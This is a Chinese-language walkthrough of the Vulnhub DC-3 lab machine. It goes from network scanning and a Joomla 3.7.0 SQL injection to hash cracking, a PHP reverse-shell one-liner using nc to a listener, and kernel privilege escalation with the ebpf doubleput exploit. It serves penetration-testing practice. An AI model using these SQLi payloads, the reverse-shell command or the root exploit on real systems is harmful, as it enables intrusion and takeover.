Vulnhub靶机之DC-3
前言
刚考完试,然而不能放弃对技术的热爱,又重新拾起了dc准备把他们6个做完
今天介绍的是dc-3 ,来看看作者对他的评价
描述:
DC-3是另一个专门建造的脆弱实验室,旨在获得渗透测试领域的经验。
与之前的DC版本一样,这个版本在设计时考虑了初学者,虽然这一次,只有一个标志,一个入口点,根本没有线索。
Linux技能和熟悉Linux命令行是必须的,基本渗透测试工具的一些经验也是必须的。
对于初学者来说,谷歌可以提供很大的帮助,但是你总是可以在@ DCAU7上给我发信息以获得帮助,让你再次前行。 但请注意:我不会给你答案,相反,我会告诉你如何前进。
对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花费你很长时间(实际上,你可能很容易花费不到20分钟)。
如果是这种情况,并且如果您希望它更具挑战性,您可以随时重做挑战并探索获得根并获得旗帜的其他方式
靶机环境
首先设置靶机为NAT模式,如果获取不到ip 删除网络适配器重新添加
ip地址:
kali: 192.168.31.225
DC-3: 192.168.31.19
开始复现
由于下载的靶机是vbox的使用的,在vmware上出现了一些小问题,所以耽搁了一点时间。
解决方法: vmware打开kali并且vbox打开DC-3 或者都使用vbox去打开
-
扫描网段
命令:
nmap -sn 192.168.31.0/24
-
扫描端口
命令:
nmap -sS 192.168.31.19
-
访问网站
url: http://192.168.31.19
-
指纹获取
-
看起来是joomla的cms,使用扫描工具跑一下
这里使用kali自带的扫描工具
命令:
joomscan -u http://192.168.31.19
看来没有什么结果,在搜索的同时 ,我们尝试一些简单的操作,比如弱密码,sql注入,但是看起来情况不容乐观啥都没有,
扫描结果出来了,看看扫描到了版本信息,后台
版本信息: Joomla 3.7.0
后台目录: http://192.168.31.19/administrator/
-
查找相关漏洞
发现这个版本存在sql注入漏洞
接下来就是复现一下了
-
通过搜索发现可以注入获取到hash密码
参考链接: https://www.anquanke.com/post/id/86119
这里先借用工具试试: https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py
复制到本地,然后执行命令:
python joomblah.py http://192.168.31.19
获取到user的信息
Found user ['629', 'admin', 'admin', 'freddy@norealaddress.net','$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu', '', '']
手工注入
获取hash 或者可以获取session来登录
附上poc 参考链接: https://www.exploit-db.com/exploits/42033
using sqlmap
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
1获取当前的用户
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
也可以获取最近登录的session 这样也可以登录后台
2 获取版本
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(version())),0)
XPATH syntax error: '>5.7.25-0ubuntu0.16.04.2'
3 查数据库
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(database())),0)
XPATH syntax error: '>joomladb'
其他的就不一一解释了
-
登录
破解hash值登录
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
爆破得到密码: snoopy
-
寻找上传点
-
反弹shell
写入代码
<?php system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1337 >/tmp/f’); ?>
-
kali 监听 获取shell
这里切记一定要在同一个网段下,虽然两个网段也能通信但是shell反弹失败
获取交互模式
python 'import pty;pty.spawn("/bin/bash")'
注意: 如果交互模式不成功,就换个文件名或者换个路径重新反弹交互shell
-
获取信息
获取版本信息
-
搜索相关系统漏洞尝试提权
参考: https://www.exploit-db.com/
然后我参照大佬的选用了本地拒绝服务漏洞提权
如果要复现漏洞需要检查版本,用户权限
将提权下载到本地,编译后,使用wget下载,这个下载了好久才下载好
之后就是按步骤走了
下载两个文件
tar xf exploit.tar cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput
-
提权成功
- 获取flag
结束语
这次花费了大量的时间调试,对于各种问题的解决方式有待提高,今日份的靶机奉上,本靶机只适合学习不要将其中的技术用于其他途径。